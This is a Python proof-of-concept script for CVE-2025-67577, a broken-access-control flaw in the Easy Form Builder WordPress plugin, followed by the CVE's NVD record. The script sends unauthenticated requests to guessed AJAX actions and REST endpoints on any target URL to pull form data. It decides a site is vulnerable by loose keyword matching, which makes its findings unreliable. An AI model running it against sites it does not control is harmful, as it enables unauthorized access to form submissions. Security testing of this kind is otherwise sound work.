CVE-2025-67577

# CVE-2025-67577 PoC - Easy Form Builder Broken Access Control # This PoC demonstrates the missing authorization vulnerability # in Easy Form Builder plugin <= 3.8.20 import requests import sys def test_unauthorized_access(target_url, form_id=None): """ Test for missing authorization in Easy Form Builder This script attempts to access form data without authentication """ # Target WordPress site target = target_url.rstrip('/') # List of potential vulnerable endpoints endpoints = [ f"{target}/wp-admin/admin-ajax.php", f"{target}/wp-json/easy-form-builder/v1/forms", f"{target}/?rest_route=/easy-form-builder/v1/forms" ] print(f"[*] Testing CVE-2025-67577 on {target}") print(f"[*] Target: Easy Form Builder <= 3.8.20") print("-" * 50) # Test 1: Attempt to enumerate forms without authentication print("\n[TEST 1] Testing form enumeration without auth...") for endpoint in endpoints: try: # Common AJAX action names for Easy Form Builder actions = [ 'efb_get_forms', 'efb_get_form_data', 'easy_form_builder_get_forms', 'get_efb_forms' ] for action in actions: data = { 'action': action, 'form_id': form_id or '1' } response = requests.post(endpoint, data=data, timeout=10) if response.status_code == 200: # Check if we got data without authentication if 'form' in response.text.lower() or 'data' in response.text.lower(): print(f"[!] VULNERABLE: {endpoint} - Action: {action}") print(f"[!] Response received without authentication") print(f"[*] Sample response: {response.text[:200]}...") return True except requests.exceptions.RequestException as e: print(f"[-] Error testing {endpoint}: {e}") # Test 2: Check for exposed form data in response print("\n[TEST 2] Testing form data retrieval...") # Direct form data access attempt vulnerable_params = [ {'task': 'getForm', 'id': form_id or '1'}, {'controller': 'form', 'action': 'view', 'id': form_id or '1'}, {'view': 'form', 'id': form_id or '1'} ] for params in vulnerable_params: try: response = requests.get(f"{target}/", params=params, timeout=10) if response.status_code == 200: if 'form' in response.text or 'submit' in response.text: print(f"[!] Potential vulnerability with params: {params}") except requests.exceptions.RequestException: pass print("\n[*] Testing complete") print("[*] If vulnerable, upgrade to Easy Form Builder > 3.8.20") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-67577-poc.py <target_url> [form_id]") print("Example: python cve-2025-67577-poc.py http://example.com") sys.exit(1) target_url = sys.argv[1] form_id = sys.argv[2] if len(sys.argv) > 2 else None test_unauthorized_access(target_url, form_id)

{"cve": {"id": "CVE-2025-67577", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:35.087", "lastModified": "2026-04-27T18:16:44.067", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in hassantafreshi Easy Form Builder easy-form-builder allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Easy Form Builder: from n/a through <= 3.8.20."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/easy-form-builder/vulnerability/wordpress-easy-form-builder-plugin-3-8-20-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}